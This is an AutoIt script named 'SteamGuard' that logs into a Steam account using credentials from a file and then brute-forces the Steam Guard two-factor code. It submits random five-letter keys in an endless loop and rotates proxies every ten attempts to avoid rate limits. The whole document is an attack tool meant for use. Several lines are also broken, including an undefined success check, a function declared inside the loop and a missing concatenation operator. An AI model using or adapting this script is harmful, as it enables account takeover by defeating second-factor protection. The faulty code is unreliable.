SteamGuard

#include <IE.au3>

;Get Objects for the Login-Page
$oSteam = _IECreate("https://store.steampowered.com/login", 1, 1, 1, 1)
$oUsername = _IEGetObjById($oSteam, "input_username")
$oPassword = _IEGetObjById($oSteam, "input_password")
$oSubmitCredentials = _IEGetObjById($oSteam, "login_btn_signin")

;Read out the Username and Password
$hOpen = FileOpen(@ScriptDir&"\login.txt")
$sUsername = FileReadLine($hOpen, 1)
$sPassword = FileReadLine($hOpen, 2)

;Enter Login Credentials and log in
_IEFormElementSetValue($oUsername, $sUsername)
_IEFormElementSetValue($oPassword, $sPassword)
_IEAction($oSubmitCredentials, "click")

;Wait to load SteamGuard Submit interface
sleep(10000)

;Open the Logging - Files
$hOpen = FileOpen(@ScriptDir&"\UsedKeys.txt", 2+8)
$hProxy = FileOpen(@ScriptDir&"\Proxies.txt", 2+8)
$hSuccess = FileOpen(@ScriptDir&"\Success.txt", 2+8)

;Setting Variables
$Tries = 0
$TotalTries = 0
$ProxyTry = 0

;Start the Key brute-forcing
While 1
   $kUsedValue = 1
   $sKey = ""
   $Proxy = FileReadLine($hProxy, $ProxyTry)

;Set Another Proxy if the 10 tries were used
   If $Tries = 10 then
	  HttpSetProxy(2, $Proxy)
	  $Tries = 0
	  $TotalTries = $TotalTries + 10
	  $ProxyTry = $ProxyTry + 1
   EndIf

;Generate the Key
  Do
    $RandomString = Chr(Random(48, 90, 1))
    If StringRegExp($RandomString, "(?i)[a-z]") Then $sKey &= $RandomString
  Until StringLen($sKey) = 5

;Find out if Key was already used once
  $kUsed = FileRead($hOpen, -1)
  $kPos = StringInStr($kUsed, $sKey&";")
    If $kPos = 0 then FileWrite($hOpen, $sKey&"; "&@CRLF)

;Try out the Key if it is unused
  $oSubmitAuthKey = _IEGetObjByClass($oSteam, "auth_button leftbtn")
  $oAuthKey = _IEGetObjById($oSteam, "authcode")
    _IEFormElementSetValue($oAuthKey, $sKey)
    _IEAction($oSubmitAuthKey, "click")
  $Tries = $Tries + 1
  $Success = _IECheckImg = $successimage
    If $Success = 1 then Func Success()
WEnd

;Function if Key was right
Func Success()
  FileWriteLine($hSuccess, "Key: "&$sKey)
  FileWriteLine($hSuccess, "Proxy: "&$Proxy)
  FileWriteLine($hSuccess, "TotalTries: "$TotalTries)
EndFunc